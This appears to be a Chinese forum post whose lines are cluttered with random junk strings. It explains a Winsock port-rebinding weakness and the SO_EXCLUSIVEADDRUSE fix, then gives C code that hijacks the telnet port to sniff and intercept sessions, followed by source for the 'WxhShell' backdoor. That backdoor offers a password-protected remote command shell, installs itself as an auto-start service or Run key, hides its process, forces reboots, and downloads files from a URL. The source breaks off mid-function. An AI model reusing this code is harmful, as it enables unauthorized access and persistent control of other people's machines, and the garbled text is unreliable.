在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
s8{3~ Hv s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
-#Yg B5 7w|W\J^7r saddr.sin_family = AF_INET;
Bb]pUb
):+n!P saddr.sin_addr.s_addr = htonl(INADDR_ANY);
d vkA-9 QT9(s\u bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
WHvN6 ]$4 k+)6 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
%K;,qS'N_ "xa<Q%hk 这意味着什么?意味着可以进行如下的攻击:
j?+FS`a! 4bhm1Q 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
*r?g&Vw$m 4NQS'*%D 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
E4HG`_cWb b3H~a2"d 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
t=~al8 JQ%e' 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
V(=~p[ N/8qd_:8 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
2
Nr j@q Z%N{Y x( 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
5sM-E>8G^{ ' ,a'r.HJH 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
WsL*P.J d&wg\"E #include
O=MO M #include
be$wGO=Ts #include
]H[RY&GY #include
xFHc+m' m~ DWORD WINAPI ClientThread(LPVOID lpParam);
I/Hwf int main()
%8yfFrk {
?Re@`f+* WORD wVersionRequested;
vZTX3c:,1 DWORD ret;
s)_7*DY WSADATA wsaData;
]V<[W,*(5 BOOL val;
:w#Zs)N SOCKADDR_IN saddr;
ya5;C" SOCKADDR_IN scaddr;
pTST\0? int err;
{Rc/Ten SOCKET s;
&%>l9~F'~ SOCKET sc;
37v!:xF! int caddsize;
gJ+MoAM" HANDLE mt;
p=coOWOQ DWORD tid;
gvr"F wVersionRequested = MAKEWORD( 2, 2 );
+%7yJmMw err = WSAStartup( wVersionRequested, &wsaData );
pOyM/L if ( err != 0 ) {
*,%H1)Tj} printf("error!WSAStartup failed!\n");
ot;j6eAH~E return -1;
cnnlEw/& }
d~D<;7M
XJ saddr.sin_family = AF_INET;
]V6<h Psi Ib*l{cxN //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
s!9.o_k 14]!LgH saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
w[uK3A v saddr.sin_port = htons(23);
]~U4; if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
]ch cRc[! {
fS>W- printf("error!socket failed!\n");
W7WHH \L/O return -1;
oR[,?qu@f }
ipQJn_:2 val = TRUE;
wlAlIvIT //SO_REUSEADDR选项就是可以实现端口重绑定的
8%_XJyg if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
[kt!\- {
hW~,Uqy printf("error!setsockopt failed!\n");
z~L4BY @z return -1;
M+gQN}BAr }
;'`T //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
[`Ol&R4k //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
W% YJ.%I //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
zQ(li9 AZ(["kh[ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
|<\o%89AM {
7Z0
)k9* ret=GetLastError();
~Hd{+0 printf("error!bind failed!\n");
k v,'9z return -1;
`ihlKFX }
`pn]jpW9 listen(s,2);
ua/A &XQx while(1)
ecA:y!N {
g:dw%h caddsize = sizeof(scaddr);
"w*VyD //接受连接请求
z\pT nteO sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
NN\% X3ri" if(sc!=INVALID_SOCKET)
lf4-Ci*X {
05gU~6AF mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
D(Pd?iQIO if(mt==NULL)
MG*#-<OV. {
^+F@KXnL printf("Thread Creat Failed!\n");
we4e>) break;
8Focs p2
}
X-|`|>3E
}
$ z1u>{ CloseHandle(mt);
-;a}'1HOE }
Ett%Y*D+J closesocket(s);
(x@|6Sb WSACleanup();
o|>2X[T return 0;
\L}Soe' }
f>s3Q\+ DWORD WINAPI ClientThread(LPVOID lpParam)
!e?=I {
"A~\$ SOCKET ss = (SOCKET)lpParam;
5n"b$hMF SOCKET sc;
89v9BWF unsigned char buf[4096];
Y#V`i K SOCKADDR_IN saddr;
jX-v9eaA long num;
3!_y@sWx DWORD val;
elG<\[ DWORD ret;
U ; JZN //如果是隐藏端口应用的话,可以在此处加一些判断
\U(qv(T //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
F-R4S^eV saddr.sin_family = AF_INET;
ZN~:^,PO/ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
"^fcXV9Wp saddr.sin_port = htons(23);
BD&JbH!( if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
-%E+Yl{v {
3Wa^:8N printf("error!socket failed!\n");
mDEO$:A return -1;
Di5eD,N }
dZFf/BXU val = 100;
qZ'&zB) if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
c~3OK_k {
2.{:PM4Z4 ret = GetLastError();
|Gx-c
,{{ return -1;
OC nQSkj }
a x4V( if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
\L>3E#R-Q {
RZ#b)l ret = GetLastError();
a6wPkf7-H return -1;
sMlY!3{Ix }
Qh<_/X? if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
wwE`YY {
K'kWL[Ut! printf("error!socket connect failed!\n");
.:A9*, closesocket(sc);
8C7$8x]mM closesocket(ss);
-`sK?*[{J return -1;
% 3d59O }
wa-#C,R\_# while(1)
sgu#`@o {
HJ?p,V q5_ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
-f@~{rK.L //如果是嗅探内容的话,可以再此处进行内容分析和记录
&\#If: //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
I(y:Td num = recv(ss,buf,4096,0);
4/vQ/>c2j if(num>0)
V]dzKNFi send(sc,buf,num,0);
lK;|ciq"c7 else if(num==0)
;|*o^9q break;
F`IV9qv num = recv(sc,buf,4096,0);
|re)]%A?Fu if(num>0)
141@$mMzE send(ss,buf,num,0);
|l'BNuiU else if(num==0)
F6J,: break;
[vh&o-6 }
{Z%4Pg closesocket(ss);
ZFpi'u.& closesocket(sc);
)65 o return 0 ;
<Dojl
# }
5V5Nx(31i !E">r Y`
t-Bg!~ ==========================================================
Teh
_ -XBD WV 下边附上一个代码,,WXhSHELL
+AkAMZ"Mg 8 SFw| ==========================================================
;}"!| vncLB&@7 #include "stdafx.h"
l&}3M CzDJbvv] #include <stdio.h>
8-]\C #include <string.h>
zV {_dO #include <windows.h>
'qel3Fs" #include <winsock2.h>
t M?3oO #include <winsvc.h>
:j feY #include <urlmon.h>
_]zm02| z0|%h?N #pragma comment (lib, "Ws2_32.lib")
*%'nlAX6% #pragma comment (lib, "urlmon.lib")
KYBoGCS > FbO\ #p s #define MAX_USER 100 // 最大客户端连接数
h[HFZv~{ #define BUF_SOCK 200 // sock buffer
?=$=c8xw #define KEY_BUFF 255 // 输入 buffer
(jhDO7 Jd#g"a>zZ #define REBOOT 0 // 重启
zv/owK #define SHUTDOWN 1 // 关机
Y,0D+sO4 K@d, 8 [ #define DEF_PORT 5000 // 监听端口
%Y!31oC# DvL/xlN #define REG_LEN 16 // 注册表键长度
kD1[6cJ!=. #define SVC_LEN 80 // NT服务名长度
+9Vp<( )~@iM.}S2 // 从dll定义API
LWwWxerZ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
X|]&K typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
{Aq2}sRl{ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
))Q3;mI" typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
K`%{(^}. C.su<B? // wxhshell配置信息
,Hq*zc c struct WSCFG {
cvSr><( int ws_port; // 监听端口
O$SQzLZx& char ws_passstr[REG_LEN]; // 口令
CjeAO 2 int ws_autoins; // 安装标记, 1=yes 0=no
`wrN$& char ws_regname[REG_LEN]; // 注册表键名
+2Xq+P char ws_svcname[REG_LEN]; // 服务名
wP-BaB$_ char ws_svcdisp[SVC_LEN]; // 服务显示名
3hUU$|^4gm char ws_svcdesc[SVC_LEN]; // 服务描述信息
.zDm{_' char ws_passmsg[SVC_LEN]; // 密码输入提示信息
|Iq#Q3w int ws_downexe; // 下载执行标记, 1=yes 0=no
3" B$M char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
]CLt Km char ws_filenam[SVC_LEN]; // 下载后保存的文件名
XNZW J s,~)5nL };
>2kjd *Y"j 0Yob // default Wxhshell configuration
f\cm84 struct WSCFG wscfg={DEF_PORT,
v>ygr8+C, "xuhuanlingzhe",
[&_c.ti 1,
#ArMX3^+w7 "Wxhshell",
d4(!9O.\ "Wxhshell",
w+MCOAB "WxhShell Service",
!u0|{6U "Wrsky Windows CmdShell Service",
4<c#3] "Please Input Your Password: ",
(>.+tq} 1,
~m0l_:SF "
http://www.wrsky.com/wxhshell.exe",
pXL@&]U+ "Wxhshell.exe"
b Ag>;e( };
j=>:{`*c /U1"P // 消息定义模块
w]-,X` char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
H<YhO&D*u char *msg_ws_prompt="\n\r? for help\n\r#>";
Ic!8$NhRS char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
L"Vi:zdp char *msg_ws_ext="\n\rExit.";
f3bZ*G%f char *msg_ws_end="\n\rQuit.";
B`I9 char *msg_ws_boot="\n\rReboot...";
>S]_{pb char *msg_ws_poff="\n\rShutdown...";
U`25bb1Wj char *msg_ws_down="\n\rSave to ";
H6fR6Kr4j XMJ EIG char *msg_ws_err="\n\rErr!";
sD_" char *msg_ws_ok="\n\rOK!";
OsSGVk #Qh gJkvH[hDY char ExeFile[MAX_PATH];
I[td:9+hK@ int nUser = 0;
ICbT{Mla HANDLE handles[MAX_USER];
Zcq4?-& int OsIsNt;
>wPMJ>
2 +xGz~~iNh SERVICE_STATUS serviceStatus;
4=b{k,kzgA SERVICE_STATUS_HANDLE hServiceStatusHandle;
V(/=0H/ F 4pkTOQq_tQ // 函数声明
$d[ -feU int Install(void);
e1d);m$ int Uninstall(void);
qYi<GI*|@ int DownloadFile(char *sURL, SOCKET wsh);
gr&Rkuyfv int Boot(int flag);
<;T$?J9 void HideProc(void);
{\87]xJ int GetOsVer(void);
Hf^Tok^6@] int Wxhshell(SOCKET wsl);
z'9Mg]&> void TalkWithClient(void *cs);
cag9f?w@V int CmdShell(SOCKET sock);
zc,kHO| int StartFromService(void);
Td6Gu" int StartWxhshell(LPSTR lpCmdLine);
gp?|UMA9. JE[+ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
1Vden.H*CI VOID WINAPI NTServiceHandler( DWORD fdwControl );
*CnrzrKtQ l>H G|ol // 数据结构和表定义
pN]$|#%q( SERVICE_TABLE_ENTRY DispatchTable[] =
@X\2K?c(v {
T@. $Zpz {wscfg.ws_svcname, NTServiceMain},
q1d'L* {NULL, NULL}
q^.\8zFf };
GiF})e} 02_37!\ // 自我安装
vU|.Gw int Install(void)
%uV bI'n) {
dE[_]2];P char svExeFile[MAX_PATH];
m{ya%F HKEY key;
^Z9v_qB strcpy(svExeFile,ExeFile);
.W9/*cZV0 cdH Ug# // 如果是win9x系统,修改注册表设为自启动
~w>Z !RuhT if(!OsIsNt) {
]0g%)f uMf if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
|H(Mmqgk RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
lvyD#|P RegCloseKey(key);
$ZQ?E^> B if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
_tGR:E RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
e 1k\:]6 RegCloseKey(key);
cuw3}4m% return 0;
OR\-%JX/5 }
0lvX,78G ; }
VB?mr13}G }
+]!`> else {
o`@B*, @ JW5SBt> // 如果是NT以上系统,安装为系统服务
w|1Gb[ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
.QhH!#Y2D if (schSCManager!=0)
!iOuIYjV {
/@*J\0h(- SC_HANDLE schService = CreateService
.)wj{(>TJ (
/)ubyl]^p schSCManager,
vGk}r wscfg.ws_svcname,
rLzYkZ wscfg.ws_svcdisp,
>QusXD"L> SERVICE_ALL_ACCESS,
x_&m$Fh SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
-}ebn*7i\ SERVICE_AUTO_START,
M?UlC
SERVICE_ERROR_NORMAL,
OoFQ@zE7% svExeFile,
c0 H8FF3 NULL,
~'4:{xH NULL,
>:ZlYZ6sI NULL,
GC3:ZpV` NULL,
[|sKu#yW NULL
b=#3p );
;5*)kX if (schService!=0)
!6wbg {
G0^O7w^5 CloseServiceHandle(schService);
`R}D@ CloseServiceHandle(schSCManager);
3xW;qNj:!l strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
;'Pi(TA) strcat(svExeFile,wscfg.ws_svcname);
n
^T_pqV?X if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
TwZvz[u RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
qdn\8Pn RegCloseKey(key);
dwc$?Bg,5 return 0;
YLlw:jN }
}G8RJxy }
5T[9|zJs CloseServiceHandle(schSCManager);
328(W }
':7%@2Zo }
Q7y6</4f -S=Zsr\ return 1;
HA{-XPAWZ }
6,Q{/ %Km_Sy[7'] // 自我卸载
dkV%Pyj int Uninstall(void)
n\2VrUQ)M {
cLQvzd:h= HKEY key;
Bc4{$sc"O J! 4l-.- if(!OsIsNt) {
'_n{+eR74 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
dt"[5;_P` RegDeleteValue(key,wscfg.ws_regname);
VA _O0y2 RegCloseKey(key);
5L<}u`0J if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
?=<vC RegDeleteValue(key,wscfg.ws_regname);
}P$48o VY RegCloseKey(key);
uP/WRQ{rW> return 0;
&DX9m4,y }
#lyvb.; }
NgKbf vt }
%J`; else {
xDBEs* F<?e79},` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
I `44}oJ if (schSCManager!=0)
qYFol#=% {
GLb}_-| SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
;G.m;5A if (schService!=0)
g<s[6yA {
*@Z/L26s;= if(DeleteService(schService)!=0) {
`4cs.ab CloseServiceHandle(schService);
Rg&6J#h CloseServiceHandle(schSCManager);
z[Kxy1, return 0;
`hM:U }
'f`~"@ CloseServiceHandle(schService);
RB_7S!qC5 }
gKg2Ntxj CloseServiceHandle(schSCManager);
8w|j Z@ }
yI9l*' }
>taS<.G pBt/vS ad return 1;
l;L&ijTQD }
@A6\v+ih (Jfi 3 m // 从指定url下载文件
Sv-}w$ int DownloadFile(char *sURL, SOCKET wsh)
w\Q3h`.
{
!^ 6x64r HRESULT hr;
L{~L6:6An char seps[]= "/";
tc@U_>{ char *token;
5(MWgC1 char *file;
>TsJ0E?3x char myURL[MAX_PATH];
%^"T z,f char myFILE[MAX_PATH];
IxCEE5+`% .i/]1X*;r^ strcpy(myURL,sURL);
(0W%YZ!& token=strtok(myURL,seps);
`QR2!W70o3 while(token!=NULL)
N_L&!%s {
Bh*~I_T a> file=token;
TE*$NxQ 2 token=strtok(NULL,seps);
w;'
F;j~ }
H/Goaf% .c"UlOZ&w^ GetCurrentDirectory(MAX_PATH,myFILE);
2 <&- strcat(myFILE, "\\");
q4 'x'8 strcat(myFILE, file);
|Xd[%W) send(wsh,myFILE,strlen(myFILE),0);
z$-/yT"M send(wsh,"...",3,0);
44?5]C7 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
6!bA~"N if(hr==S_OK)
5d(A( return 0;
ckt^D/c2 else
CBSJY&:K return 1;
!{s$V2_ ue/6DwUv }
,-c(D-& ;0xCrE{l" // 系统电源模块
da!N0\.1T int Boot(int flag)
ru(Xeojv# {
6kT
l(+ HANDLE hToken;
xbo-~{ TOKEN_PRIVILEGES tkp;
g$dL5N7 Ph]e\ if(OsIsNt) {
$Miii`VS9 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
$2>tfKhtA LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
2>fG}qYy$ tkp.PrivilegeCount = 1;
yL.si)h(p tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
jXi<ZJ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
ynM{hN.+ H if(flag==REBOOT) {
z}C#+VhQ` if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
35RH|ci& return 0;
NfR, m] }
8+gx?pb else {
' QT(TF> if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
=JO|m5z8> return 0;
4g\a$7r
}
]vQo^nOo }
PBn(k>=+ else {
(fh:q2E# if(flag==REBOOT) {
NFLmM if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
UUb!2sO return 0;
S;ulJ*qv }
#A]7cMZ'W else {
bdaZ{5^{ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
(^a;2j9 return 0;
L{^DZg|E }
pJa FPO..| }
&%qD Som3 )r?i^D&4 return 1;
\U !<- }
4N$svA {k?Y: // win9x进程隐藏模块
FN,0&D}` void HideProc(void)
:1 Fm~' {
d*A >P 1uV_C[: HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
,C&h~uRi#f if ( hKernel != NULL )
6^{ hY^Z {
lBG*P>; pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
?783LBe ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
hD>:WJ FreeLibrary(hKernel);
Fa+PN9M`?. }
=53LapTPJ 3<mv9U( return;
\|62E):i1 }
87<y_P@{ zZ32K@ // 获取操作系统版本
'hya#rC&( int GetOsVer(void)
K7f-g]Ibdn {
|!!E5osXq OSVERSIONINFO winfo;
/mD KQ< winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
(sqS(xIY GetVersionEx(&winfo);
ljt1:@SN( if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
3:Z(tM&-O return 1;
4`8.\ else
C4 Wdt return 0;
/0o 2 }
Plq[Ml9
y'@l,MN{ // 客户端句柄模块
*?K`T^LS int Wxhshell(SOCKET wsl)
oQyG {
.k*2T<p$rC SOCKET wsh;
)D[xY0Y~ struct sockaddr_in client;
Z,4=<;PF DWORD myID;
t91CxZQ^s f2yv7t
T while(nUser<MAX_USER)
=]zPUzr,| {
--^D)n int nSize=sizeof(client);
rXm!3E6JL wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
B:mlBSH if(wsh==INVALID_SOCKET) return 1;
.9^;? Ts 8OFrW.>[ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
_r8AO> if(handles[nUser]==0)
\clWrK closesocket(wsh);
so8-e else
23OVy^b nUser++;
aSF&^/j }
$Ilr.6'; WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
=u'/\nxCF bZG$ biq return 0;
u-K5 }
hPk+vvXtK .86..1 // 关闭 socket
A.h?#%TLL void CloseIt(SOCKET wsh)
Xj@Kt|&`k {
=0f8W=d:Vr closesocket(wsh);
{a_L
/"7 nUser--;
C,<TAm ExitThread(0);
_:K}DU'6 }
jU#%@d6!# nb|MHt PX // 客户端请求句柄
`nM4kt7 void TalkWithClient(void *cs)
_$cBI_eA7 {
HkV/+ {;S~ ~%}g"|o SOCKET wsh=(SOCKET)cs;
d:wAI| char pwd[SVC_LEN];
2 sOc]L:9 char cmd[KEY_BUFF];
eS.]@E-T char chr[1];
A"k,T7B int i,j;
j?mJ1J5 _0f[.vN while (nUser < MAX_USER) {
<n:?WP~U \c\=S if(wscfg.ws_passstr) {
ueg X if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
iB,*X[}EqG //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
.Lp-'!i //ZeroMemory(pwd,KEY_BUFF);
e=R}
4` i=0;
dog,vUu while(i<SVC_LEN) {
7,4x7! e5/_Vga // 设置超时
ri^yal<' fd_set FdRead;
s6]f#s5o struct timeval TimeOut;
?yU#'`q FD_ZERO(&FdRead);
>mV""?r] FD_SET(wsh,&FdRead);
ie,{C TimeOut.tv_sec=8;
W6iIL:sp TimeOut.tv_usec=0;
'
#mC4\<W8 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
C;ye%&g> if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Xo5L:(?K /PCQv_Y&,/ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
*,pqpD> pwd
=chr[0]; x V e!
if(chr[0]==0xd || chr[0]==0xa) { -+=8&Wa
pwd=0; <>Im$N ai
break; 9e5UTJ
} |eqDT,4
i++; l*u@T|Fc$
} gkdjH8(2
vKt_z@{{L
// 如果是非法用户,关闭 socket 2P=;r:cx
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;:4puv+]
} GND[f}
3:(`#YY
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Vh8uE
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q'VS]n
X@)lPr$a
while(1) { q|l|gY1g)
:]s] =q&]
ZeroMemory(cmd,KEY_BUFF); UQ)}i7v
1#(1Bs6X
// 自动支持客户端 telnet标准 S(6ZX>wv:
j=0; ht|r+v-
while(j<KEY_BUFF) { NP8TF*5V
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X3[!xMij
cmd[j]=chr[0]; Nt8(
if(chr[0]==0xa || chr[0]==0xd) { KB= z{g
cmd[j]=0; @2gMtf?<
break; q1y4B`
} F?=u:
j++; 8=~>B@'
} Q6K)EwN
5qy}~dQ
// 下载文件 +$t%L
if(strstr(cmd,"http://")) { x8Sq+BY
send(wsh,msg_ws_down,strlen(msg_ws_down),0); %j@FZ
)a[
if(DownloadFile(cmd,wsh)) `?x$J
6p
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "tM/`:Qp
else cy 4'q?r
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TXcKuo=
} VaxO L61xE
else { __j8jEV
nY)Pxahm 7
switch(cmd[0]) { `Tj}4f
b U NYTF{
// 帮助 rLxX^[Fp3
case '?': { _GqE'VX
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1!3kAcBP
break; +`8)U 3u0
} "N]o5d
// 安装 wVDB?gy%#
case 'i': { -(1\`g07
if(Install()) .h,xBT`}Ji
send(wsh,msg_ws_err,strlen(msg_ws_err),0); KU,w9<~i(
else rzDJH:W{2
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4&e@>
break; ?LI9F7n
} N_D+d4@
// 卸载 2(Uz9!<V
case 'r': { 2-aYqMmT;
if(Uninstall()) D}sGBsOW
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \F~Cbj+'Nu
else Jr)`shJ"
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m7vxzC*
break; (JW?azU
} C+XZDY(=Z
// 显示 wxhshell 所在路径 RH]>>tJ^e
case 'p': { DWQQ615i
char svExeFile[MAX_PATH]; W"(`n4hi3
strcpy(svExeFile,"\n\r"); I^(#\vRW
strcat(svExeFile,ExeFile); vN:[
send(wsh,svExeFile,strlen(svExeFile),0); xY2_*#{.
break; Wxau]uix
} g)qnjeSs]
// 重启 FK# E7
K
case 'b': { D1 ~x
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :gscW&k
if(Boot(REBOOT)) _G #"B{7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); lc7a@qnw
else { 7G(f1Y
closesocket(wsh); heZy
66
ExitThread(0); 6\fMzm
} V<ApHb
break; W^.-C
} ywynx<Wg
// 关机 !L.
K)9I
case 'd': { tQ/
#t<4D
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lkH;N<U
if(Boot(SHUTDOWN)) $KWYe{#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fra>|;do
else { IAF;mv}'
closesocket(wsh); |"YA<e
%
ExitThread(0); 1Uemsx%'k
} !Nl.Vb
break; 3
t8 8AN=4
} (s$u_aq77
// 获取shell +6hl@Fm(
case 's': { q@!'R{fu
CmdShell(wsh); guOSO@
closesocket(wsh); AR~$MCR]"k
ExitThread(0); a=*ALd_&0
break; \}Acq;
} 6UW:l|}4#2
// 退出 U M( l%
case 'x': { $HBT%g@UN
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); twtkH~`"Q
CloseIt(wsh); zn
V1kqGU
break; >bA$SN
} p2x1xv
// 离开 9rTz N
case 'q': { t1w2u.]
send(wsh,msg_ws_end,strlen(msg_ws_end),0); BjyXQ9D
closesocket(wsh);
M U?{?5
WSACleanup(); J0Hm)*
exit(1); 5:%..e`T
break; n{64g+
} t{Hh&HX
} @P_C%}(<
}
\f/#<|Hm
AhvvuN$n%
// 提示信息 T9z4W]T
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }PI35i1!t
} 5#0A`QO
} I z}2
^
3}B5hht"D
return; ovd^,?ib
} L\b]k,Ksf
MSZ!W(7,<
// shell模块句柄 K85_>C%g
int CmdShell(SOCKET sock) Hz}+SAZ
{ L$1K7<i.
STARTUPINFO si; 3P//H88LY
ZeroMemory(&si,sizeof(si)); CKv&Re
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J>=1dCK
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >`7OcjLg
PROCESS_INFORMATION ProcessInfo; K2cq97k,d
char cmdline[]="cmd"; !8xKf*y
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :E>&s9Yj?
return 0; J3;Tm~KJ_
} T3PX gL)o
XzT78
// 自身启动模式 ?"{QK:`
int StartFromService(void) 99^AT*ByY
{ r\(v+cd
typedef struct ^ED"rMI
{ 7p)N_cJD
DWORD ExitStatus; .Y!;xB/
DWORD PebBaseAddress; X[V?T>jsM
